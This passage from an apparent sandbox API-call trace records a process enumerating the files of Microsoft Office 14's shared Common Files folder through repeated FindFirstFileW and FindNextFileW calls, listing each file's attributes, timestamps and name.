cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0072.485] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0072.486] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.488] GetProcessHeap () returned 0x550000 [0072.488] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a50b0 | out: hHeap=0x550000) returned 1 [0072.488] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0072.488] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0072.489] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0072.489] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0072.489] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0072.489] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0072.489] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0072.490] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0072.490] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0072.490] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0072.490] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0072.491] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0072.491] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0072.491] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0072.491] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0072.491] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0072.492] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0072.492] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0072.492] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0072.492] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0072.492] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0072.493] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0072.493] GetProcessHeap () returned 0x550000 [0072.493] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a50b0 [0072.493] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.494] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.494] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0072.495] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0072.495] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.495] GetProcessHeap () returned 0x550000 [0072.495] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a50b0 | out: hHeap=0x550000) returned 1 [0072.495] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0072.495] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0072.495] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0072.496] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0072.496] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0072.496] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0072.496] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0072.496] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0072.497] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0072.872] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0072.872] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0072.873] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0072.873] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0072.873] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0072.873] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0072.873] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0072.873] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0072.874] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0072.874] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, 